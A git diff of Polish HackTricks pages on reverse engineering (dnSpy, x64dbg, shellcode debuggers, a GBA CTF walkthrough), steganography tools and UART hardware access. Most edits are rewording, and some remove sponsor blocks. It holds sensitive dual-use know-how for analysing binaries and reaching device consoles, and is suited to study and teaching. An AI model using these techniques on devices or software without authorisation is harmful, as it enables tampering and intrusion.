Jeśli potrzebujesz **dekompilować**, **modyfikować** i **ponownie kompilować**, możesz użyć [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) lub aktywnie utrzymywanego forka, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Kliknij prawym przyciskiem -> Modyfikuj metodę**, aby zmienić coś w funkcji).
|
||||
|
||||
### Logowanie DNSpy
|
||||
|
||||
|
@ -101,11 +93,11 @@ Następnie zapisz nowy plik za pomocą _**Plik >> Zapisz moduł...**_:
|
|||
|
||||
Jest to konieczne, ponieważ jeśli tego nie zrobisz, w **czasie wykonywania** kilka **optymalizacji** zostanie zastosowanych do kodu i może się zdarzyć, że podczas debugowania **punkt przerwania nigdy nie zostanie osiągnięty** lub niektóre **zmienne nie istnieją**.
|
||||
|
||||
Następnie, jeśli twoja aplikacja .NET jest **uruchamiana** przez **IIS**, możesz ją **zrestartować** za pomocą:
|
||||
Następnie, jeśli Twoja aplikacja .NET jest **uruchamiana** przez **IIS**, możesz ją **zrestartować** za pomocą:
|
||||
```
|
||||
iisreset /noforce
|
||||
```
|
||||
Następnie, aby rozpocząć debugowanie, powinieneś zamknąć wszystkie otwarte pliki, a w **Debug Tab** wybrać **Attach to Process...**:
|
||||
Aby rozpocząć debugowanie, należy zamknąć wszystkie otwarte pliki, a następnie w **Debug Tab** wybrać **Attach to Process...**:
|
||||
|
||||
![](<../../.gitbook/assets/image (318).png>)
|
||||
|
||||
|
@ -146,7 +138,7 @@ Kliknij prawym przyciskiem myszy dowolny moduł w **Assembly Explorer** i klikni
|
|||
|
||||
![](<../../.gitbook/assets/image (704).png>)
|
||||
|
||||
Następnie, gdy rozpoczniesz debugowanie, **wykonanie zostanie zatrzymane, gdy każda DLL zostanie załadowana**, a następnie, gdy rundll32 załaduje twoją DLL, wykonanie zostanie zatrzymane.
|
||||
Następnie, gdy rozpoczniesz debugowanie, **wykonanie zostanie zatrzymane, gdy każda DLL zostanie załadowana**, a gdy rundll32 załaduje twoją DLL, wykonanie zostanie zatrzymane.
|
||||
|
||||
Ale jak możesz dotrzeć do kodu DLL, która została załadowana? Używając tej metody, nie wiem jak.
|
||||
|
||||
|
@ -155,9 +147,9 @@ Ale jak możesz dotrzeć do kodu DLL, która została załadowana? Używając te
|
|||
* **Załaduj rundll32** (64 bity w C:\Windows\System32\rundll32.exe i 32 bity w C:\Windows\SysWOW64\rundll32.exe)
|
||||
* **Zmień linię poleceń** (_File --> Change Command Line_) i ustaw ścieżkę do dll oraz funkcję, którą chcesz wywołać, na przykład: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
|
||||
* Zmień _Options --> Settings_ i wybierz "**DLL Entry**".
|
||||
* Następnie **rozpocznij wykonanie**, debugger zatrzyma się w każdej głównej dll, w pewnym momencie **zatrzymasz się w wejściu dll twojej dll**. Stamtąd po prostu poszukaj punktów, w których chcesz ustawić punkt przerwania.
|
||||
* Następnie **rozpocznij wykonanie**, debugger zatrzyma się w każdej głównej dll, w pewnym momencie **zatrzymasz się w wejściu dll twojej dll**. Stamtąd wystarczy poszukać punktów, w których chcesz ustawić punkt przerwania.
|
||||
|
||||
Zauważ, że gdy wykonanie zostanie zatrzymane z jakiegokolwiek powodu w win64dbg, możesz zobaczyć **w jakim kodzie jesteś**, patrząc na **górę okna win64dbg**:
|
||||
Zauważ, że gdy wykonanie zostanie zatrzymane z jakiegokolwiek powodu w win64dbg, możesz zobaczyć **w którym kodzie jesteś**, patrząc na **górę okna win64dbg**:
|
||||
|
||||
![](<../../.gitbook/assets/image (842).png>)
|
||||
|
||||
|
@ -165,7 +157,7 @@ Następnie, patrząc na to, możesz zobaczyć, kiedy wykonanie zostało zatrzyma
|
|||
|
||||
## Aplikacje GUI / Gry wideo
|
||||
|
||||
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) to przydatny program do znajdowania, gdzie ważne wartości są zapisywane w pamięci działającej gry i ich zmieniania. Więcej informacji w:
|
||||
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) to przydatny program do znajdowania, gdzie ważne wartości są zapisywane w pamięci działającej gry i ich zmiany. Więcej informacji w:
|
||||
|
||||
{% content-ref url="cheat-engine.md" %}
|
||||
[cheat-engine.md](cheat-engine.md)
|
||||
|
@ -183,7 +175,7 @@ Następnie, patrząc na to, możesz zobaczyć, kiedy wykonanie zostało zatrzyma
|
|||
|
||||
### Debugowanie shellcode z blobrunner
|
||||
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner) **alokuje** **shellcode** w przestrzeni pamięci, **wskaże** ci **adres pamięci**, w którym shellcode został alokowany i **zatrzyma** wykonanie.\
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner) **alokuje** **shellcode** w przestrzeni pamięci, **wskaże** ci **adres pamięci**, w którym shellcode został alokowany, i **zatrzyma** wykonanie.\
|
||||
Następnie musisz **dołączyć debugger** (Ida lub x64dbg) do procesu i ustawić **punkt przerwania w wskazanym adresie pamięci** oraz **wznowić** wykonanie. W ten sposób będziesz debugować shellcode.
|
||||
|
||||
Strona z wydaniami na githubie zawiera zips z skompilowanymi wydaniami: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
|
@ -195,13 +187,13 @@ Możesz znaleźć nieco zmodyfikowaną wersję Blobrunner w następującym linku
|
|||
|
||||
### Debugowanie shellcode z jmp2it
|
||||
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) jest bardzo podobny do blobrunner. **Alokuje** **shellcode** w przestrzeni pamięci i rozpoczyna **wieczną pętlę**. Następnie musisz **dołączyć debugger** do procesu, **nacisnąć start, poczekać 2-5 sekund i nacisnąć stop**, a znajdziesz się w **wiecznej pętli**. Przejdź do następnej instrukcji wiecznej pętli, ponieważ będzie to wywołanie do shellcode, a na końcu znajdziesz się w trakcie wykonywania shellcode.
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) jest bardzo podobny do blobrunner. **Alokuje** **shellcode** w przestrzeni pamięci i rozpoczyna **wieczną pętlę**. Następnie musisz **dołączyć debugger** do procesu, **uruchomić, poczekać 2-5 sekund i nacisnąć stop**, a znajdziesz się w **wiecznej pętli**. Przejdź do następnej instrukcji wiecznej pętli, ponieważ będzie to wywołanie do shellcode, a na końcu znajdziesz się w trakcie wykonywania shellcode.
|
||||
|
||||
![](<../../.gitbook/assets/image (509).png>)
|
||||
|
||||
Możesz pobrać skompilowaną wersję [jmp2it na stronie wydań](https://github.com/adamkramer/jmp2it/releases/).
|
||||
|
||||
### Debugowanie shellcode przy użyciu Cutter
|
||||
### Debugowanie shellcode za pomocą Cutter
|
||||
|
||||
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) to GUI radare. Używając cutter, możesz emulować shellcode i dynamicznie go badać.
|
||||
|
||||
|
@ -209,7 +201,7 @@ Zauważ, że Cutter pozwala na "Otwórz plik" i "Otwórz shellcode". W moim przy
|
|||
|
||||
![](<../../.gitbook/assets/image (562).png>)
|
||||
|
||||
Aby rozpocząć emulację w miejscu, w którym chcesz, ustaw tam bp, a Cutter automatycznie rozpocznie emulację stamtąd:
|
||||
Aby rozpocząć emulację w wybranym miejscu, ustaw tam bp, a Cutter automatycznie rozpocznie emulację stamtąd:
|
||||
|
||||
![](<../../.gitbook/assets/image (589).png>)
|
||||
|
||||
|
@ -231,11 +223,11 @@ scdbg.exe -f shellcode -d #Dump decoded shellcode
|
|||
scdbg.exe -f shellcode /findsc #Find offset where starts
|
||||
scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset
|
||||
```
|
||||
scDbg dysponuje również graficznym launcherem, w którym możesz wybrać opcje, które chcesz, i wykonać shellcode.
|
||||
scDbg dysponuje również graficznym uruchamiaczem, w którym możesz wybrać opcje, które chcesz, i wykonać shellcode.
|
||||
|
||||
![](<../../.gitbook/assets/image (258).png>)
|
||||
|
||||
Opcja **Create Dump** zrzuci końcowy shellcode, jeśli jakiekolwiek zmiany zostaną wprowadzone do shellcode dynamicznie w pamięci (przydatne do pobrania zdekodowanego shellcode). **start offset** może być przydatny do rozpoczęcia shellcode w określonym przesunięciu. Opcja **Debug Shell** jest przydatna do debugowania shellcode za pomocą terminala scDbg (jednak uważam, że żadna z wcześniej wyjaśnionych opcji nie jest lepsza w tej kwestii, ponieważ będziesz mógł użyć Ida lub x64dbg).
|
||||
Opcja **Create Dump** zrzuci końcowy shellcode, jeśli jakakolwiek zmiana zostanie dokonana na shellcode dynamicznie w pamięci (przydatne do pobrania zdekodowanego shellcode). **start offset** może być przydatny do rozpoczęcia shellcode w określonym offset. Opcja **Debug Shell** jest przydatna do debugowania shellcode za pomocą terminala scDbg (jednak uważam, że żadna z wcześniej wyjaśnionych opcji nie jest lepsza w tej kwestii, ponieważ będziesz mógł używać Ida lub x64dbg).
|
||||
|
||||
### Disassembling using CyberChef
|
||||
|
||||
|
@ -270,17 +262,17 @@ Mając **nazwy** wywoływanych **funkcji**, przeszukaj je w **Internecie**, aby
|
|||
|
||||
Dla skompilowanych binarek Delphi możesz użyć [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)
|
||||
|
||||
Jeśli musisz zrewersować binarkę Delphi, sugeruję użycie wtyczki IDA [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
|
||||
Jeśli musisz zredukować binarkę Delphi, sugeruję użycie wtyczki IDA [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
|
||||
|
||||
Po prostu naciśnij **ATL+f7** (importuj wtyczkę python w IDA) i wybierz wtyczkę python.
|
||||
|
||||
Ta wtyczka wykona binarkę i dynamicznie rozwiąże nazwy funkcji na początku debugowania. Po rozpoczęciu debugowania naciśnij ponownie przycisk Start (zielony lub f9), a punkt przerwania zostanie osiągnięty na początku rzeczywistego kodu.
|
||||
|
||||
Jest to również bardzo interesujące, ponieważ jeśli naciśniesz przycisk w aplikacji graficznej, debugger zatrzyma się w funkcji wywoływanej przez ten przycisk.
|
||||
Jest to również bardzo interesujące, ponieważ jeśli naciśniesz przycisk w aplikacji graficznej, debugger zatrzyma się w funkcji wykonywanej przez ten przycisk.
|
||||
|
||||
## Golang
|
||||
|
||||
Jeśli musisz zrewersować binarkę Golang, sugeruję użycie wtyczki IDA [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
|
||||
Jeśli musisz zredukować binarkę Golang, sugeruję użycie wtyczki IDA [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
|
||||
|
||||
Po prostu naciśnij **ATL+f7** (importuj wtyczkę python w IDA) i wybierz wtyczkę python.
|
||||
|
||||
|
@ -307,7 +299,7 @@ W [**no$gba**](https://problemkaputt.de/gba.htm), w _**Options --> Emulation Set
|
|||
|
||||
![](<../../.gitbook/assets/image (581).png>)
|
||||
|
||||
Po naciśnięciu każdy **klawisz ma wartość** do jego identyfikacji:
|
||||
Po naciśnięciu, każdy **klawisz ma wartość** do jego identyfikacji:
|
||||
```
|
||||
A = 1
|
||||
B = 2
|
||||
|
@ -324,7 +316,7 @@ Więc w tego rodzaju programie interesującą częścią będzie **jak program t
|
|||
|
||||
![](<../../.gitbook/assets/image (447).png>)
|
||||
|
||||
Na poprzednim obrazie możesz zobaczyć, że funkcja jest wywoływana z **FUN\_080015a8** (adresy: _0x080015fa_ i _0x080017ac_).
|
||||
Na poprzednim obrazku możesz zobaczyć, że funkcja jest wywoływana z **FUN\_080015a8** (adresy: _0x080015fa_ i _0x080017ac_).
|
||||
|
||||
W tej funkcji, po kilku operacjach inicjalizacyjnych (bez większego znaczenia):
|
||||
```c
|
||||
|
@ -389,11 +381,11 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
|
|||
```
|
||||
W poprzednim kodzie widać, że porównujemy **uVar1** (miejsce, w którym znajduje się **wartość naciśniętego przycisku**) z pewnymi wartościami:
|
||||
|
||||
* Najpierw porównuje się z **wartością 4** (**PRZYCISK SELECT**): W wyzwaniu ten przycisk czyści ekran.
|
||||
* Następnie porównuje się z **wartością 8** (**PRZYCISK START**): W wyzwaniu sprawdza, czy kod jest ważny, aby uzyskać flagę.
|
||||
* Najpierw porównywana jest z **wartością 4** (**przycisk SELECT**): W wyzwaniu ten przycisk czyści ekran.
|
||||
* Następnie porównywana jest z **wartością 8** (**przycisk START**): W wyzwaniu sprawdza, czy kod jest ważny, aby uzyskać flagę.
|
||||
* W tym przypadku zmienna **`DAT_030000d8`** jest porównywana z 0xf3, a jeśli wartość jest taka sama, wykonywany jest pewien kod.
|
||||
* W innych przypadkach sprawdzana jest zmienna cont (`DAT_030000d4`). To jest cont, ponieważ dodaje 1 tuż po wejściu w kod.\
|
||||
**Jeśli** mniej niż 8, wykonywane jest coś, co polega na **dodawaniu** wartości do \*\*`DAT_030000d8` \*\* (w zasadzie dodaje wartości naciśniętych klawiszy do tej zmiennej, o ile cont jest mniejszy niż 8).
|
||||
* W innych przypadkach sprawdzana jest zmienna cont (`DAT_030000d4`). To jest cont, ponieważ dodaje 1 zaraz po wejściu w kod.\
|
||||
**Jeśli** jest mniejsza niż 8, wykonywane jest coś, co polega na **dodawaniu** wartości do \*\*`DAT_030000d8` \*\* (w zasadzie dodaje wartości naciśniętych klawiszy do tej zmiennej, o ile cont jest mniejszy niż 8).
|
||||
|
||||
Tak więc, w tym wyzwaniu, znając wartości przycisków, musiałeś **nacisnąć kombinację o długości mniejszej niż 8, której wynikowa suma to 0xf3.**
|
||||
|
||||
|
@ -406,13 +398,7 @@ Tak więc, w tym wyzwaniu, znając wartości przycisków, musiałeś **nacisną
|
|||
## Kursy
|
||||
|
||||
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
|
||||
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Deobfuskacja binarna)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (deobfuskacja binarna)
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -423,7 +409,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,14 +15,6 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## **Ekstrakcja danych z plików**
|
||||
|
||||
### **Binwalk**
|
||||
|
@ -135,7 +127,7 @@ Techniki szybkiej transformaty Fouriera (FFT) mogą ujawniać ukrytą zawartoś
|
|||
|
||||
### **Stegpy dla plików audio i obrazów**
|
||||
|
||||
Stegpy pozwala na osadzanie informacji w plikach obrazów i audio, obsługując formaty takie jak PNG, BMP, GIF, WebP i WAV. Jest dostępny na [GitHubie](https://github.com/dhsdshdhk/stegpy).
|
||||
Stegpy pozwala na osadzanie informacji w plikach obrazów i audio, wspierając formaty takie jak PNG, BMP, GIF, WebP i WAV. Jest dostępny na [GitHubie](https://github.com/dhsdshdhk/stegpy).
|
||||
|
||||
### **Pngcheck do analizy plików PNG**
|
||||
|
||||
|
@ -149,7 +141,7 @@ pngcheck stego.png
|
|||
Aby dalej eksplorować, rozważ odwiedzenie:
|
||||
|
||||
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
|
||||
* [Analiza poziomu błędu obrazu](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
* [Analiza poziomu błędów obrazu](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
* [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
|
||||
* [OpenStego](https://www.openstego.com/)
|
||||
* [DIIT](https://diit.sourceforge.net/)
|
||||
|
@ -186,7 +178,7 @@ Deepsound pozwala na szyfrowanie i wykrywanie informacji w plikach dźwiękowych
|
|||
|
||||
### **Sonic Visualizer**
|
||||
|
||||
Niezastąpione narzędzie do wizualnej i analitycznej inspekcji plików audio, Sonic Visualizer może ujawniać ukryte elementy niewykrywalne innymi metodami. Odwiedź [oficjalną stronę](https://www.sonicvisualiser.org/), aby dowiedzieć się więcej.
|
||||
Niezastąpione narzędzie do wizualnej i analitycznej inspekcji plików audio, Sonic Visualizer może ujawniać ukryte elementy, które są niedostrzegalne innymi metodami. Odwiedź [oficjalną stronę](https://www.sonicvisualiser.org/), aby dowiedzieć się więcej.
|
||||
|
||||
### **DTMF Tones - Dial Tones**
|
||||
|
||||
|
@ -212,12 +204,6 @@ For translating Braille, the [Branah Braille Translator](https://www.branah.com/
|
|||
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,25 +15,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany przez **dark-web**, który oferuje **darmowe** funkcje do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
UART to protokół szeregowy, co oznacza, że przesyła dane między komponentami jeden bit na raz. W przeciwieństwie do tego, protokoły komunikacji równoległej przesyłają dane jednocześnie przez wiele kanałów. Do powszechnych protokołów szeregowych należą RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express i USB.
|
||||
UART to protokół szeregowy, co oznacza, że przesyła dane między komponentami jeden bit na raz. W przeciwieństwie do tego, protokoły komunikacji równoległej przesyłają dane jednocześnie przez wiele kanałów. Powszechne protokoły szeregowe to RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express i USB.
|
||||
|
||||
Ogólnie rzecz biorąc, linia jest utrzymywana w stanie wysokim (na wartości logicznej 1), gdy UART jest w stanie bezczynności. Następnie, aby sygnalizować początek transferu danych, nadajnik wysyła bit startowy do odbiornika, podczas którego sygnał jest utrzymywany w stanie niskim (na wartości logicznej 0). Następnie nadajnik wysyła od pięciu do ośmiu bitów danych zawierających rzeczywistą wiadomość, po czym następuje opcjonalny bit parzystości i jeden lub dwa bity stopu (z wartością logiczną 1), w zależności od konfiguracji. Bit parzystości, używany do sprawdzania błędów, rzadko występuje w praktyce. Bit stopu (lub bity) oznaczają koniec transmisji.
|
||||
Ogólnie linia jest utrzymywana w stanie wysokim (na wartości logicznej 1), gdy UART jest w stanie bezczynności. Następnie, aby sygnalizować początek transferu danych, nadajnik wysyła bit startowy do odbiornika, podczas którego sygnał jest utrzymywany w stanie niskim (na wartości logicznej 0). Następnie nadajnik wysyła od pięciu do ośmiu bitów danych zawierających rzeczywistą wiadomość, po czym następuje opcjonalny bit parzystości i jeden lub dwa bity stopu (z wartością logiczną 1), w zależności od konfiguracji. Bit parzystości, używany do sprawdzania błędów, rzadko występuje w praktyce. Bit stopu (lub bity) oznaczają koniec transmisji.
|
||||
|
||||
Najczęściej spotykaną konfigurację nazywamy 8N1: osiem bitów danych, brak parzystości i jeden bit stopu. Na przykład, jeśli chcielibyśmy wysłać znak C, czyli 0x43 w ASCII, w konfiguracji UART 8N1, wysłalibyśmy następujące bity: 0 (bit startowy); 0, 1, 0, 0, 0, 0, 1, 1 (wartość 0x43 w systemie binarnym) i 0 (bit stopu).
|
||||
|
||||
|
@ -47,22 +34,22 @@ Narzędzia sprzętowe do komunikacji z UART:
|
|||
|
||||
### Identyfikacja portów UART
|
||||
|
||||
UART ma 4 porty: **TX**(Transmit), **RX**(Receive), **Vcc**(Napięcie) i **GND**(Ziemia). Możesz znaleźć 4 porty z literami **`TX`** i **`RX`** **napisanymi** na PCB. Ale jeśli nie ma żadnych oznaczeń, możesz spróbować znaleźć je samodzielnie, używając **multimetru** lub **analizatora logicznego**.
|
||||
UART ma 4 porty: **TX**(Transmit), **RX**(Receive), **Vcc**(Voltage) i **GND**(Ground). Możesz znaleźć 4 porty z literami **`TX`** i **`RX`** **napisanymi** na PCB. Ale jeśli nie ma żadnych wskazówek, możesz spróbować znaleźć je samodzielnie, używając **multimetru** lub **analizatora logicznego**.
|
||||
|
||||
Z użyciem **multimetru** i zasilania urządzenia wyłączonego:
|
||||
|
||||
* Aby zidentyfikować pin **GND**, użyj trybu **Testu Ciągłości**, umieść czarny przewód w ziemi i testuj czerwonym, aż usłyszysz dźwięk z multimetru. Na PCB można znaleźć kilka pinów GND, więc możesz znaleźć lub nie ten, który należy do UART.
|
||||
* Aby zidentyfikować port **VCC**, ustaw tryb **napięcia stałego** i ustaw go na 20 V. Czarny przewód na ziemi, a czerwony na pinie. Włącz urządzenie. Jeśli multimetr mierzy stałe napięcie 3.3 V lub 5 V, znalazłeś pin Vcc. Jeśli otrzymasz inne napięcia, spróbuj z innymi portami.
|
||||
* Aby zidentyfikować port **TX**, ustaw tryb **napięcia stałego** na 20 V, czarny przewód na ziemi, a czerwony na pinie, i włącz urządzenie. Jeśli zauważysz, że napięcie przez kilka sekund się waha, a następnie stabilizuje się na wartości Vcc, najprawdopodobniej znalazłeś port TX. Dzieje się tak, ponieważ podczas włączania wysyła pewne dane debugowe.
|
||||
* Aby zidentyfikować port **VCC**, ustaw tryb **DC voltage** i ustaw go na 20 V. Czarny przewód na ziemi, a czerwony na pinie. Włącz urządzenie. Jeśli multimetr mierzy stałe napięcie 3.3 V lub 5 V, znalazłeś pin Vcc. Jeśli otrzymasz inne napięcia, spróbuj z innymi portami.
|
||||
* Aby zidentyfikować port **TX**, ustaw tryb **DC voltage** na 20 V, czarny przewód na ziemi, a czerwony na pinie, i włącz urządzenie. Jeśli zauważysz, że napięcie waha się przez kilka sekund, a następnie stabilizuje się na wartości Vcc, najprawdopodobniej znalazłeś port TX. Dzieje się tak, ponieważ podczas włączania wysyła pewne dane debugowania.
|
||||
* Port **RX** będzie najbliższy pozostałym 3, ma najmniejsze wahania napięcia i najniższą ogólną wartość ze wszystkich pinów UART.
|
||||
|
||||
Możesz pomylić porty TX i RX i nic się nie stanie, ale jeśli pomylisz porty GND i VCC, możesz uszkodzić obwód.
|
||||
|
||||
W niektórych urządzeniach docelowych port UART jest wyłączany przez producenta poprzez dezaktywację RX lub TX, a nawet obu. W takim przypadku pomocne może być prześledzenie połączeń na płytce drukowanej i znalezienie punktu wyjścia. Silnym wskazaniem na potwierdzenie braku wykrycia UART i przerwania obwodu jest sprawdzenie gwarancji urządzenia. Jeśli urządzenie zostało dostarczone z jakąś gwarancją, producent pozostawia pewne interfejsy debugowe (w tym przypadku UART) i dlatego musiał odłączyć UART, a następnie ponownie go podłączyć podczas debugowania. Te piny wyjściowe można połączyć przez lutowanie lub przewody zworkowe.
|
||||
W niektórych urządzeniach docelowych port UART jest wyłączany przez producenta poprzez wyłączenie RX lub TX lub nawet obu. W takim przypadku może być pomocne prześledzenie połączeń na płytce drukowanej i znalezienie punktu wyjścia. Silnym wskazaniem na potwierdzenie braku wykrycia UART i przerwania obwodu jest sprawdzenie gwarancji urządzenia. Jeśli urządzenie zostało wysłane z jakąś gwarancją, producent pozostawia pewne interfejsy debugowania (w tym przypadku UART) i dlatego musiał odłączyć UART, a następnie ponownie go podłączyć podczas debugowania. Te piny wyjściowe można połączyć przez lutowanie lub przewody zworkowe.
|
||||
|
||||
### Identyfikacja prędkości baud UART
|
||||
|
||||
Najłatwiejszym sposobem na zidentyfikowanie poprawnej prędkości baud jest spojrzenie na **wyjście pinu TX i próba odczytania danych**. Jeśli dane, które otrzymujesz, nie są czytelne, przełącz się na następną możliwą prędkość baud, aż dane staną się czytelne. Możesz użyć adaptera USB na szeregowy lub urządzenia wielofunkcyjnego, takiego jak Bus Pirate, aby to zrobić, w połączeniu z pomocnym skryptem, takim jak [baudrate.py](https://github.com/devttys0/baudrate/). Najczęściej spotykane prędkości baud to 9600, 38400, 19200, 57600 i 115200.
|
||||
Najłatwiejszym sposobem na zidentyfikowanie poprawnej prędkości baud jest spojrzenie na **wyjście pinu TX i próba odczytania danych**. Jeśli dane, które otrzymujesz, nie są czytelne, przełącz się na następną możliwą prędkość baud, aż dane staną się czytelne. Możesz użyć adaptera USB na szeregowy lub urządzenia wielofunkcyjnego, takiego jak Bus Pirate, aby to zrobić, w połączeniu z pomocnym skryptem, takim jak [baudrate.py](https://github.com/devttys0/baudrate/). Najczęstsze prędkości baud to 9600, 38400, 19200, 57600 i 115200.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ważne jest, aby pamiętać, że w tym protokole musisz połączyć TX jednego urządzenia z RX drugiego!
|
||||
|
@ -70,7 +57,7 @@ Ważne jest, aby pamiętać, że w tym protokole musisz połączyć TX jednego u
|
|||
|
||||
## Adapter CP210X UART do TTY
|
||||
|
||||
Chip CP210X jest używany w wielu płytkach prototypowych, takich jak NodeMCU (z esp8266) do komunikacji szeregowej. Te adaptery są stosunkowo niedrogie i mogą być używane do podłączenia do interfejsu UART docelowego. Urządzenie ma 5 pinów: 5V, GND, RXD, TXD, 3.3V. Upewnij się, że podłączasz napięcie zgodnie z wymaganiami docelowego urządzenia, aby uniknąć uszkodzeń. Na koniec podłącz pin RXD adaptera do TXD docelowego, a pin TXD adaptera do RXD docelowego.
|
||||
Chip CP210X jest używany w wielu płytkach prototypowych, takich jak NodeMCU (z esp8266) do komunikacji szeregowej. Te adaptery są stosunkowo niedrogie i mogą być używane do łączenia z interfejsem UART urządzenia docelowego. Urządzenie ma 5 pinów: 5V, GND, RXD, TXD, 3.3V. Upewnij się, że podłączasz napięcie zgodnie z wymaganiami urządzenia docelowego, aby uniknąć uszkodzeń. Na koniec podłącz pin RXD adaptera do TXD urządzenia docelowego i pin TXD adaptera do RXD urządzenia docelowego.
|
||||
|
||||
W przypadku, gdy adapter nie jest wykrywany, upewnij się, że sterowniki CP210X są zainstalowane w systemie gospodarza. Gdy adapter zostanie wykryty i podłączony, można używać narzędzi takich jak picocom, minicom lub screen.
|
||||
|
||||
|
@ -92,15 +79,15 @@ Po skonfigurowaniu użyj polecenia `minicom`, aby uruchomić konsolę UART.
|
|||
|
||||
## UART przez Arduino UNO R3 (wymienny chip Atmel 328p)
|
||||
|
||||
W przypadku braku adapterów UART Serial do USB, Arduino UNO R3 można użyć z szybkim hackiem. Ponieważ Arduino UNO R3 jest zazwyczaj dostępne wszędzie, może to zaoszczędzić dużo czasu.
|
||||
W przypadku braku adapterów UART Serial do USB, Arduino UNO R3 można wykorzystać w szybkim hacku. Ponieważ Arduino UNO R3 jest zazwyczaj dostępne wszędzie, może to zaoszczędzić dużo czasu.
|
||||
|
